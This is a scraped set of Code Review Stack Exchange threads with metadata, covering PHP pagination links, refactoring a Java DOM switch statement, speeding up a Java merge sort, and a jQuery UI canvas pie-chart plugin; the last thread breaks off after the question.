"body": "<pre><code><?php\nfunction outputLinks( $page, $numberOfPages, $context ) {\n # find the context pages\n $pages = array_filter( range( $page - $context, $page + $context ), function( $value ) use ($numberOfPages) {\n if ( $value <= 2 || $value >= ( $numberOfPages - 1 ) ) return false;\n return true;\n });\n\n # are there any gaps to fill with '...':\n if ( isset( $pages[0] ) ) {\n if ( $pages[0] > 2 ) array_unshift( $pages, '...' );\n if ( $pages[ count( $pages ) - 1 ] < ( $numberOfPages - 2 ) ) array_push( $pages, '...' );\n }\n\n # add the first and last links:\n array_push( $pages, $numberOfPages - 1, $numberOfPages );\n array_unshift( $pages, 1, 2 );\n\n foreach ( $pages as $key => & $page ) {\n # if ( is_int( $page ) ) $page = '<a href=\"?p=' . $page . '\" />';\n }\n\n return $pages;\n}\n# your example with my impl:\nfor ( $i = 1; $i <= 9; $i++ ) echo implode(' ', outputLinks( $i, 9, 1 ), PHP_EOL;\n</code></pre>\n\n<p>I had to give this one a shot aiming for the least amount of lines logic as possible, so here's my solution. It's split in 4 \"blocks\":\n- find the context pages\n- fill in blanks between the beginning/ending and the context pages with '...'\n- add the first/last pages\n- lastly, loop through the results ( uncomment line 20 ) and make them into links.</p>\n\n<p>I can't think of anything simpler, it's already down to 16 lines of code.</p>\n\n<p>Cheers</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-06T02:23:31.430",
"Id": "17013",
"Score": "0",
"body": "There are different but equally valid assumptions with the first and last pages which have a fixed context of 1 page in this solution. There is a small bug, it prints 1289 without '...' between the 2 and 8. Also a copy paste error on the final line with the `)` and `,`."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-05T10:31:15.090",
"Id": "10642",
"ParentId": "10271",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2012-03-23T04:11:34.167",
"Id": "10271",
"Score": "6",
"Tags": [
"php",
"pagination"
],
"Title": "Generating pagination links"
}
|
10271
|
<p>How to minimize the following code using java's features ... looking for some workaround with the switch-case statement</p>
<p>I've seen several question regarding switch-case design pattern / best practices but because I am new to java, I am having difficulties in implementing them.</p>
<p>Here is the code:</p>
<pre><code>protected void readTree(Node node, Branch current)
{
Element element = null;
Document document = null;
if(current instanceof Element)
{
element = (Element) current;
}
else
{
document = (Document) current;
}
String nodeVal = node.getNodeValue();
String nodeName = node.getNodeName();
switch(node.getNodeType())
{
case ELEMENT_NODE:
readElement(node, current);
break;
case PROCESSING_INSTRUCTION_NODE:
if(current instanceof Element)
{
element.addProcessingInstruction(nodeName, nodeVal);
break;
}
document.addProcessingInstruction(nodeName, nodeVal);
break;
case COMMENT_NODE:
if(current instanceof Element)
{
element.addComment(nodeVal);
break;
}
document.addComment(nodeVal);
break;
case DOCUMENT_TYPE_NODE:
DocumentType domDocType = (DocumentType) node;
document.addDocType(domDocType.getName(), domDocType.getPublicId(), domDocType.getSystemId());
break;
case TEXT_NODE:
element.addText(nodeVal);
break;
case CDATA_SECTION_NODE:
element.addCDATA(nodeVal);
break;
case ENTITY_REFERENCE_NODE:
if(node.getFirstChild() != null)
{
element.addEntity(nodeName, node.getFirstChild().getNodeValue());
break;
}
element.addEntity(nodeName, "");
break;
case ENTITY_NODE:
element.addEntity(nodeName, nodeVal);
break;
default:
System.out.println("WARNING: Unknown node type: " + node.getNodeType());
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-22T23:36:33.070",
"Id": "16343",
"Score": "0",
"body": "And the question is...?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-22T23:55:13.803",
"Id": "16344",
"Score": "0",
"body": "how to minimize the provided code using java's features ... looking for some workaround with the switch-case statement"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-22T23:58:57.727",
"Id": "16345",
"Score": "0",
"body": "You're going to get a NullPointerException in cases PROCESSING_INSTRUCTION_NOTE, COMMENT_NODE, and possibly others; document is null if current instanceof Element (which you are expressly testing in those cases, which is why I single them out)."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-22T23:44:35.500",
"Id": "16346",
"Score": "0",
"body": "What are you hoping to get, performance or usability? It's already pretty concise, and I don't think you can squeeze performance out of it as asked [here](http://stackoverflow.com/questions/2086529/what-is-the-relative-performance-difference-of-if-else-versus-switch-statement-i). You could import org.w3c.dom.Node and remove it from the code, but that's not really necessary (IMO). Is there a reason you want to reduce it?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-22T23:52:38.937",
"Id": "16347",
"Score": "0",
"body": "academic purpose... trying to practice efficient ways to write a code ... i don't believe that in java there is good justification to write such a long method ... looking for a way to minimize the code"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-23T00:00:09.613",
"Id": "16348",
"Score": "2",
"body": "Haha this is hardly a long method... I have seen some true horrors before, not the point though. Look at the purpose of the method, does it fufill it. In this case it takes in the Node, and performs an action on it depending on what kind it is. There's not really any reason to shorten it. You could move what happens in each case to a separate method, but then you are just doing it for the hell of it, which you should always avoid"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-23T00:02:27.007",
"Id": "16349",
"Score": "0",
"body": "You could split the case in 2, so that each `element` and `document` only go through the cases they would be part of, your method will likely get longer though..."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-22T23:58:59.997",
"Id": "16350",
"Score": "0",
"body": "Apart from deleting some empty lines, the code cannot be made much shorter. Every `case` has fairly different code, you don't repeat yourself, so there is nothing to coalesce."
}
] |
[
{
"body": "<p>Consider creating an object which can handle each case:</p>\n\n<pre><code>interface NodeHandler {\n void handle(Node node, Element current, ...);\n}\n\nclass ElementHandler implements NodeHandler {\n public void handle(Node node, Element current, ...) {\n readElement(node, current);\n }\n}\n</code></pre>\n\n<p>You can then populate a map, like this, to look up the appropriate handler for a node:</p>\n\n<pre><code>private static Map<Integer, NodeHandler> handlerMap;\nstatic {\n handlerMap = new HashMap<Integer, NodeHandler>();\n handlerMap.put(Node.ELEMENT_NODE, new ElementHandler());\n //...\n}\n</code></pre>\n\n<p>and then...</p>\n\n<pre><code>handlerMap.get(node.getNodeType()).handle(...);\n</code></pre>\n\n<p>I don't think this makes the code shorter, but it does make the code more maintainable. Each object has a single, clear responsibility, and you don't have to deal with issues like fall-through cases, or state getting mingled between different handlers. You could conceivably invent new handlers without actually changing the implementation of the <code>readTree()</code> method, or impacting the behavior of existing handlers.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-23T00:20:27.480",
"Id": "16351",
"Score": "0",
"body": "Nice, what pattern is this?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-23T00:21:27.733",
"Id": "16352",
"Score": "2",
"body": "The get method will throw a NullPointerException if it encounters aj unknown node type. Generally, I think this is overengineered. It will maybe make the code more maintainable, but also less readable by introducing new classes and an interface."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-23T00:21:56.220",
"Id": "16353",
"Score": "0",
"body": "@dann.dev Command pattern"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-23T00:30:07.127",
"Id": "16354",
"Score": "0",
"body": "@Jakub Zaverka: A little extra code can easily be added to handle the \"default\" case. I chose to try to make the sample code above as simple as possible, just to illustrate the concept. I don't feel that the code is less readable; each new class has a single responsibility and a clear purpose. \"More classes\" doesn't automatically equate to \"less readable\". Since the number of cases is small, and each one is short, the OP's code is fairly readable, but he was looking for design improvements. I feel like this is a good potential improvement for a long switch-statement pattern."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-23T00:42:18.730",
"Id": "16355",
"Score": "0",
"body": "@RMorrisey I am not saying you are right or wrong, I have used Command on more than one location before. I just don't believe it is worth it to replace about 30 lines method with 6 classes and an interface."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-23T00:52:39.120",
"Id": "16356",
"Score": "0",
"body": "@JakubZaverka I can definitely see that the added classes make the code bulkier, and that there is no clear right or wrong answer. I will just say that it is my preferred style. I will refactor anything if I can see that the code obeys a clear pattern, and there is some concrete OO advantage, even if it makes a short code snippet a little longer."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-23T01:05:40.193",
"Id": "16357",
"Score": "0",
"body": "@RMorrisey Yes, every problem in OOP can be solved by just one more layer of indirection. But this problem (what is the right numer of abstraction layers) has been discussed over and over for the past 20 years and the world did not end, so I it really depends on the taste."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-23T01:33:52.293",
"Id": "16358",
"Score": "0",
"body": "According to the Mayan calendar, the world is scheduled to end this year, so I guess we'll soon find out. =)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-23T13:17:39.493",
"Id": "16370",
"Score": "0",
"body": "I'm kind of neutral on this approach. There's no doubt that this pattern is extensible, but it does seem overly heavy for this particular problem. The number of cases won't change enough to warrant splitting up the handling code like this. Methods would be a better solution IMHO."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-24T18:01:57.910",
"Id": "16419",
"Score": "1",
"body": "Thanks, vary useful pattern indeed, red much more about it as a result of your suggestion :) but in my case - when i have limited and deterministic number of cases which won't change, this approach is an overkill ...."
}
],
"meta_data": {
"CommentCount": "10",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-23T00:05:07.510",
"Id": "10274",
"ParentId": "10273",
"Score": "8"
}
},
{
"body": "<p>I think you should eliminate the element and document variables. (Principles behind that: It's better to minimize variable scope, to not make null variables, don't make variables just to cast things to their subtypes.) And when the method you call is a method on Node, you certainly don't need to cast it.</p>\n\n<p>I would do:</p>\n\n<p>try{\n..\n case Node.PROCESSING_INSTRUCTION_NODE:</p>\n\n<p>//Why cast it in this case?</p>\n\n<pre><code> node.addProcessingInstruction(nodeName, nodeVal);\n\n break;\n</code></pre>\n\n<p>...\n Node.CDATA_SECTION_NODE:\n//Do the casting tight like this. Don't make extra variables.\n//Don't write extra lines of code that don't make the code more clear.</p>\n\n<pre><code> ((Element)node).addCDATA(nodeVal);\n\n break;\n</code></pre>\n\n<p>//Explicitly throw and handle an exception rather than a \n//silent fallthrough. (This better if there is a way to the error.)\n//Explain why this can happen in a comment</p>\n\n<p>}Catch (ClassCastException ce){\n//Some error handling</p>\n\n<p>}</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-23T00:46:07.360",
"Id": "16359",
"Score": "0",
"body": "The formatting got a little funky. There should be more line breaks, but you catch my drift."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-23T00:45:12.180",
"Id": "10275",
"ParentId": "10273",
"Score": "0"
}
},
{
"body": "<p>I don't really like this:</p>\n\n<pre><code>case ENTITY_REFERENCE_NODE:\n if(node.getFirstChild() != null)\n {\n element.addEntity(nodeName, node.getFirstChild().getNodeValue());\n break;\n }\n element.addEntity(nodeName, \"\");\n\n break;\n</code></pre>\n\n<p>Idiomatically, more than one <code>break</code> in a <code>case</code> is confusing. You should either refactor to an <code>if...else</code>:</p>\n\n<pre><code>if(node.getFirstChild() != null) {\n element.addEntity(nodeName, node.getFirstChild().getNodeValue());\n}\nelse {\n element.addEntity(nodeName, \"\");\n}\nbreak;\n</code></pre>\n\n<p>or (I prefer this, by the way) create a method that does this task for you:</p>\n\n<pre><code>case ENTITY_REFERENCE_NODE:\n addNodeChildValue(node);\n break;\n</code></pre>\n\n<p>In my experience, switch statements are easiest to read when you minimize the number of tasks done in the cases. That's not to say you should only do one, at most two tasks (or some other arbitrary number). You should look for tasks to extract to methods or code that is repeated in several cases that should not be part of the switch.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-24T17:58:00.707",
"Id": "16418",
"Score": "0",
"body": "point taken , thanks. By the way, in java if you have one statement after if and after else then it is ok to write the if-else without brackets"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-24T18:42:13.273",
"Id": "16420",
"Score": "0",
"body": "I know - that's a personal preference. [This answer sums up why](http://programmers.stackexchange.com/a/16530/6415) if you're interested."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-23T13:13:39.437",
"Id": "10278",
"ParentId": "10273",
"Score": "8"
}
}
] |
{
"AcceptedAnswerId": "10278",
"CommentCount": "8",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-22T23:28:57.920",
"Id": "10273",
"Score": "7",
"Tags": [
"java",
"parsing",
"xml",
"dom"
],
"Title": "Handling various types of nodes when traversing a DOM tree"
}
|
10273
|
<p>This is a specific case in merge sort. I'm trying to do a merge sort on an array that's created using the Java <code>Integer</code> class. My implementation is slow and therefore needs some modifications for better performance. I believe the process where I copy the original items to two new arrays over and over again is slowing it down.</p>
<p>How do I merge sort without copying? The sorting must be stable and both methods should return <code>Integer[]</code>.</p>
<pre><code>private static Integer[] mergeSort(Integer[] a, int p, int q)
{
if (a.length <= 1) return a;
int mid = (int)Math.floor((q-p)/2);
Integer[] left = new Integer[(mid - p) + 1];
Integer[] right = new Integer[q - mid];
int index = 0;
for (int i = 0; i < left.length; i++)
{
left[i] = a[index++];
}
for (int i = 0; i < right.length; i++)
{
right[i] = a[index++];
}
left = mergeSort(left, 0, left.length-1);
right = mergeSort(right, 0, right.length-1);
return merge(left, right);
}
private static Integer[] merge(Integer[] a, Integer[] b)
{
int i = 0; int j = 0; int k = 0;
Integer[] result = new Integer[a.length+b.length];
while (i < a.length || j < b.length)
{
if (i != a.length && j != b.length)
{
if (a[i].compareTo(b[j]) <= 0)
{
result[k++] = a[i++];
}
else
{
result[k++] = b[j++];
}
}
else if (i < a.length)
{
result[k++] = a[i++];
}
else if (j < b.length)
{
result[k++] = b[j++];
}
}
return result;
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-22T23:31:13.647",
"Id": "16361",
"Score": "0",
"body": "The algorithm looks correct to me. Merge sort requires you to split the array which doesn't really happen without copying to two new arrays at some point so I don't think that's your issue. You could try doing it with an int[] instead of an Integer[]. Java might like its primitive types better"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-22T23:39:27.720",
"Id": "16362",
"Score": "0",
"body": "Given that this is not a homework, why don't you just use the Arrays.sort() stuff? That is a merge sort. (Provided you convert array of Integers to array of ints, but that's just O(n), less than O(nlogn) merge sort.)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-22T23:41:30.300",
"Id": "16363",
"Score": "0",
"body": "I can actually write two void methods for sorting ints but this question requires me to return an array of type Integer[]."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-22T23:45:34.290",
"Id": "16364",
"Score": "1",
"body": "@Jakub Zaverka: Arrays.sort is using quick sort. I'm trying to compare it with my program."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-22T23:52:18.827",
"Id": "16365",
"Score": "1",
"body": "@user1175946 Oh, good one, I thought they are using mergesort. Anyway, if you use `sort(T[] a, Comparator<? super T> c)`, then it is mergesort (just checked). You only need to provide an implementation of `Comparable<Integer>`, which should be trivial."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-23T00:37:09.270",
"Id": "16366",
"Score": "0",
"body": "@Jakub Zaverka: Thanks, but I'd like to implement my own method for testing purposes.."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-23T01:14:08.477",
"Id": "16367",
"Score": "0",
"body": "You could use \n\n `Integer[] left = Arrays.copyOfRange(a, 0, mid + 1);\n Integer[] right = Arrays.copyOfRange(a, mid + 1, a.length);`\n\nalthough I doubt it would affect performance."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-23T00:53:32.720",
"Id": "16368",
"Score": "0",
"body": "It is possible to implement it without having to create new arrays all over and copying them. Everything can be done on the original array, the merge operation will require an n-long buffer. That should improve it significantly. I am currently on mobile, I will try to post some code later."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-23T03:32:02.663",
"Id": "16369",
"Score": "0",
"body": "Hey, would that still be stable? I really appreciate if you can show me how it's done.."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T08:52:35.263",
"Id": "16484",
"Score": "0",
"body": "According to http://docs.oracle.com/javase/1.4.2/docs/api/java/util/Arrays.html#sort%28java.lang.Object[]%29 the sort is stable \"This sort is guaranteed to be stable: equal elements will not be reordered as a result of the sort.\n\nThe sorting algorithm is a modified mergesort (in which the merge is omitted if the highest element in the low sublist is less than the lowest element in the high sublist). This algorithm offers guaranteed n*log(n) performance.\""
}
] |
[
{
"body": "<p>If performance is the only criteria that you want, then you can use threads to paralyze the merging part of it. To copy an array there is a simple way to use <code>Arrays.copyOf()</code>.</p>\n\n<p>Here is the code that includes thread and the use of array as reference:</p>\n\n<pre><code>Integer[] array;\n\npublic MergeSort(Integer[] array) {\n this.array = array;\n}\n\npublic void run() \n{\n if (this.array.length <= 1) return;\n int mid = (int)Math.ceil((this.array.length)/2.0);\n Integer[] left = new Integer[mid];\n Integer[] right = new Integer[this.array.length - mid];\n\n left = Arrays.copyOf(array, mid);\n right = Arrays.copyOfRange(array, mid, array.length);\n\n Thread t1 = new MergeSort(left);\n Thread t2 = new MergeSort(right);\n t1.run();\n t2.run();\n try {\n t1.join();\n t2.join();\n } catch (InterruptedException e) {\n }\n\n merge(left, right);\n}\n\nprivate void merge(Integer[] a, Integer[] b) \n{\n int i = 0; int j = 0; int k = 0;\n\n while (i < a.length || j < b.length)\n {\n if (i != a.length && j != b.length)\n {\n if (a[i].compareTo(b[j]) <= 0)\n {\n this.array[k++] = a[i++];\n }\n else\n {\n this.array[k++] = b[j++];\n }\n }\n else if (i < a.length)\n {\n this.array[k++] = a[i++];\n }\n else if (j < b.length)\n {\n this.array[k++] = b[j++];\n }\n }\n}\n\npublic static void main(String[] args) throws InterruptedException {\n Integer[] unordered = new Integer[]{12,1,34,22,13,54,2,6,3};\n MergeSort merger = new MergeSort(unordered);\n merger.start();\n merger.join();\n System.out.println(Arrays.asList(merger.array));\n\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-23T02:26:08.740",
"Id": "10277",
"ParentId": "10276",
"Score": "0"
}
},
{
"body": "<p>It was quite hard, but I figured it out. You can even pre-create the buffer with some value you know the mergesort will never exceed, and save some object creation overhead.</p>\n\n<pre><code>public class Mergesort\n{\n public static void main(String[] args){\n int[] array = new int[]{1, 3, 5, 7, 9, 2, 4, 6, 8, 10};\n array = mergeSort(array, 0, array.length-1);\n for(int i = 0; i < array.length; i++){\n System.out.print(array[i] + \" \");\n }\n System.out.println();\n }\n\n private static int[] mergeSort(int[] a, int p, int q) \n {\n if (q-p < 1) return a;\n int mid = (q+p)/2;\n\n mergeSort(a, p, mid);\n mergeSort(a, mid+1, q);\n return merge(a, p, q, mid);\n }\n\n private static int[] merge(int[] a, int left, int right, int mid) \n {\n //buffer - in the worst case, we need to buffer the whole left partition\n int[] buffer = new int[a.length / 2 + 1];\n int bufferSize = 0;\n int bufferIndex = 0;\n int leftHead = left;\n int rightHead = mid+1;\n\n //we keep comparing unless we hit the boundary on either partition\n while(leftHead <= mid && rightHead <= right){\n //no data in the buffer - normal compare\n if((bufferSize - bufferIndex) == 0){\n //right is less than left - we overwrite left with right and store left in the buffer\n if(a[leftHead] > a[rightHead]){\n buffer[bufferSize] = a[leftHead];\n a[leftHead] = a[rightHead];\n bufferSize++;\n rightHead++;\n }\n }\n //some data in the buffer - we use buffer (instead of left) for comparison with right\n else{\n //right is less than buffer\n if(buffer[bufferIndex] > a[rightHead]){\n //we overwrite next left value, but must save it in the buffer first\n buffer[bufferSize] = a[leftHead];\n a[leftHead] = a[rightHead];\n rightHead++;\n bufferSize++;\n }\n //buffer is less than right = we use the buffer value (but save the overwriten value in the buffer)\n else{\n buffer[bufferSize] = a[leftHead];\n a[leftHead] = buffer[bufferIndex];\n bufferSize++;\n bufferIndex++;\n }\n } \n leftHead++;\n }\n //now we hit the end of either partition - now we have only two of them (buffer and either left or right)\n //so we do traditional merge using these two\n while(leftHead <= right && (bufferSize - bufferIndex) > 0){\n if(rightHead <= right && a[rightHead] < buffer[bufferIndex]){\n a[leftHead] = a[rightHead];\n rightHead++;\n }\n else{\n if(leftHead <= mid){\n buffer[bufferSize] = a[leftHead];\n bufferSize++;\n }\n a[leftHead] = buffer[bufferIndex];\n bufferIndex++;\n }\n leftHead++;\n }\n return a;\n }\n}\n</code></pre>\n\n<p>I did not extensively test it, nor did I measure it. You can try that and post the results.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-23T14:15:01.680",
"Id": "10280",
"ParentId": "10276",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "10280",
"CommentCount": "10",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-22T23:21:37.727",
"Id": "10276",
"Score": "4",
"Tags": [
"java",
"performance",
"sorting",
"mergesort"
],
"Title": "Merge sort on an Integer class"
}
|
10276
|
<p>I would greatly appreciate the input of any gurus out there. I have recently begun learning JavaScript and then jQuery and jQuery-UI and have thought I would take a stab at writing my own jQuery-UI plugin, the result of which you can see here:</p>
<p><a href="http://jsfiddle.net/ben1729/djA6G/" rel="nofollow">http://jsfiddle.net/ben1729/djA6G/</a> .</p>
<p>It's basically a pie chart into which you can drill down, rendered using HTML5 canvas. The data provided is dummy and so just oscillates between two data sets. I envisaged it displaying population of continents then by country upon drilldown etc.</p>
<p>What I'm after is constructive criticism. If there are any best practices I have violated or any obvious functionality I have missed then please let me know.</p>
<p>jQuery UI plugin:</p>
<pre><code>(function($) {
// Utility object with helper functions
var utils = {
tau: 2 * Math.PI,
angleOrigin: -Math.PI / 2,
sum: function(toSum) {
var total = 0;
$.each(toSum, function(n, value) {
total += value;
});
return total;
},
normalise: function(toNormalise) {
var total = utils.sum(toNormalise);
var toReturn = [];
$.each(toNormalise, function(n, value) {
toReturn.push(utils.tau * value / total);
});
return toReturn;
},
distanceSqrd: function(x1, y1, x2, y2) {
return Math.pow(x1 - x2, 2) + Math.pow(y1 - y2, 2);
},
bearing: function(x, y, originX, originY) {
var toReturn = Math.atan2(x - originX, originY - y);
if (toReturn < 0) {
toReturn += utils.tau;
}
return toReturn;
},
getIndex: function(bearing, dataArray) {
var cumulativeAngle = 0;
var toReturn = 0;
$.each(dataArray, function(n, value) {
cumulativeAngle += value;
if (bearing < cumulativeAngle) {
toReturn = n;
return false;
}
});
return toReturn;
}
};
// Object for storing drawing functionality
var renderer = {
clear: function(widget) {
widget.context.clearRect(0, 0, widget.options.width, widget.options.height);
},
drawData: function(widget, opacity) {
var startAngle = utils.angleOrigin;
$.each(widget.dataArray, function(n, value) {
var colour = widget.options.colourFn(n);
renderer.drawSector(widget, colour, startAngle, startAngle + value, opacity);
startAngle += value;
});
},
drawSector: function(widget, colour, startAngle, endAngle, opacity) {
var context = widget.context;
context.globalAlpha = opacity || 1;
context.fillStyle = colour;
context.beginPath();
context.moveTo(widget.centreX, widget.centreY);
context.arc(widget.centreX, widget.centreY, widget.options.radius, startAngle, endAngle);
context.lineTo(widget.centreX, widget.centreY);
context.closePath();
context.fill();
context.globalAlpha = 1;
},
// Based on current data, the selected segment will swallow the others then call the callback
swallowOthers: function(widget, selectedIndex, callback) {
var startAngle = utils.angleOrigin;
$.each(widget.dataArray, function(n, value) {
if (n === selectedIndex) {
return false;
} else {
startAngle += value;
}
});
var endAngle = startAngle + widget.dataArray[selectedIndex];
var stepSize = (utils.tau - widget.dataArray[selectedIndex]) / 50;
var colour = widget.options.colourFn(selectedIndex);
var swallow = function() {
if (endAngle - startAngle < utils.tau) {
endAngle += stepSize;
renderer.drawSector(widget, colour, startAngle, endAngle);
setTimeout(swallow, 20);
} else {
callback();
}
};
setTimeout(swallow, 20);
},
// The current data will fade in from the old colour then call the callback
fadeInNewData: function(widget, oldColour, callback) {
var opacity = 0;
var fadeIn = function() {
opacity += 0.02;
if (opacity <= 1) {
renderer.clear(widget);
if (oldColour) {
renderer.drawSector(widget, oldColour, 0, utils.tau);
}
renderer.drawData(widget, opacity);
setTimeout(fadeIn, 20);
} else {
callback();
}
};
setTimeout(fadeIn, 20);
},
// Fade out the old data
fadeOutOldData: function(widget, callback) {
var opacity = 1;
var fadeOut = function() {
opacity -= 0.02;
if (opacity >= 0) {
renderer.clear(widget);
renderer.drawData(widget, opacity);
setTimeout(fadeOut, 20);
} else {
callback();
}
};
setTimeout(fadeOut, 50);
}
};
$.widget("ui.piChart", {
canvas: null,
$canvas: null,
context: null,
centreX: null,
centreY: null,
dataArray: null,
isAnimating: false,
radiusSqrd: null,
hoverIndex: -1,
// These options will be used as defaults
options: {
dataProvider: null,
// Required
width: 200,
height: 200,
radius: 80,
colourFn: function(selectedIndex) {
var defaultRainbow = ['red', 'orange', 'yellow', 'green', 'blue'];
return defaultRainbow[selectedIndex % defaultRainbow.length];
},
animationComplete: function(selectedIndex) {},
mouseMove: function(hoverIndex) {}
},
// Set up the widget
_create: function() {
// Store reference to self
var self = this;
// Create HTML5 canvas
this.canvas = $('<canvas>', {
width: this.options.width,
height: this.options.height
}).attr('id', 'ui-piChart-canvas').appendTo(this.element[0])[0];
this.canvas.width = this.options.width;
this.canvas.height = this.options.height;
this.$canvas = $(this.canvas);
// Other useful variables to store
this.context = this.canvas.getContext('2d');
this.centreX = this.options.width / 2;
this.centreY = this.options.height / 2;
this.radiusSqrd = this.options.radius * this.options.radius;
// Get current data
this.dataArray = utils.normalise(this.options.dataProvider.getRoot());
// Initial draw of the data
renderer.clear(this);
renderer.drawData(this);
// Click event handler
this.$canvas.click(function(event) {
if (!self.isAnimating && utils.distanceSqrd(event.offsetX, event.offsetY, self.centreX, self.centreY) < self.radiusSqrd) {
// Get the selected index based on the click location
var bearing = utils.bearing(event.offsetX, event.offsetY, self.centreX, self.centreY);
var selectedIndex = utils.getIndex(bearing, self.dataArray);
// Check whether there is child data for the selected index
if (self.options.dataProvider.hasChildren(selectedIndex)) {
// Start the animation
self.isAnimating = true;
// Store the previous colour for the purposes of fade in
var oldColour = self.options.colourFn(selectedIndex);
// First swallow the other segments
renderer.swallowOthers(self, selectedIndex, function() {
// Reset the data
self.dataArray = utils.normalise(self.options.dataProvider.getChildren(selectedIndex));
// Fade in the new data
renderer.fadeInNewData(self, oldColour, function() {
// Paint the pie chart for a final time
renderer.clear(self);
renderer.drawData(self);
self.options.animationComplete(selectedIndex);
self.isAnimating = false;
});
});
}
}
});
// Mousemove event
this.$canvas.mousemove(function(event) {
if (!self.isAnimating && utils.distanceSqrd(event.offsetX, event.offsetY, self.centreX, self.centreY) < self.radiusSqrd) {
// Get the selected index based on the click location
var bearing = utils.bearing(event.offsetX, event.offsetY, self.centreX, self.centreY);
var selectedIndex = utils.getIndex(bearing, self.dataArray);
if (selectedIndex !== self.hoverIndex) {
self.hoverIndex = selectedIndex;
self.options.mouseMove(self.hoverIndex);
}
}
});
},
// Use the _setOption method to respond to changes to options
_setOption: function(key, value) {
// Store reference to self
var self = this;
switch (key) {
case "data":
if (!self.isAnimating) {
// Start the animation
self.isAnimating = true;
// Redraw with new data
renderer.fadeOutOldData(self, function() {
self.dataArray = utils.normalise(value);
renderer.clear(self);
renderer.fadeInNewData(self, null, function() {
// Paint the pie chart for a final time
renderer.clear(self);
renderer.drawData(self);
self.options.animationComplete(-1);
self.isAnimating = false;
});
});
}
break;
// TODO - Other options to set go here
}
// In jQuery UI 1.8, you have to manually invoke the _setOption method from the base widget
$.Widget.prototype._setOption.apply(this, arguments);
},
// Use the destroy method to clean up any modifications your widget has made to the DOM
destroy: function() {
$(this.canvas).remove();
// In jQuery UI 1.8, you must invoke the destroy method from the base widget
$.Widget.prototype.destroy.call(this);
}
});
})(jQuery);
</code></pre>
<p>The code being used by the client:</p>
<pre><code><script type="text/javascript">
$(function() {
// Dummy data provider which switches between two datasets
var dataProvider = (function() {
var data1 = [1, 2, 3, 4, 25];
var data2 = [3, 3, 4, 5];
var oddCalls = false;
return {
getRoot: function() {
oddCalls = false;
return data2;
},
getChildren: function(selectedIndex) {
$('p#lastSelectedIndex').text('Selected index: ' + selectedIndex);
oddCalls = (oddCalls === false);
if (oddCalls) {
return data1;
} else {
return data2;
}
},
hasChildren: function(selectedIndex) {
return true;
}
};
})();
// Create the pi chart
$('#create').click(function() {
$('#canvasDiv').piChart({
dataProvider: dataProvider,
mouseMove: function(hoverIndex) {
$('p#hoverIndex').text('Hover index: ' + hoverIndex);
}
});
$('p#lastSelectedIndex').text('Root');
});
// Reset the dataset usin
$('#reset').click(function() {
$('#canvasDiv').piChart('option', 'data', dataProvider.getRoot());
$('p#lastSelectedIndex').text('Root');
$('p#hoverIndex').text('');
});
// Destroy the pi chart
$('#destroy').click(function() {
$('#canvasDiv').piChart('destroy');
$('p#lastSelectedIndex').text('');
$('p#hoverIndex').text('');
});
});
</script>
<div id="canvasDiv"></div>
<button id="create">Create</button>
<button id="reset">Reset</button>
<button id="destroy">Destroy</button>
<p id="lastSelectedIndex"></p>
<p id="hoverIndex"></p>
</code></pre>
<p>Happy nit-picking!</p>
|
[
{
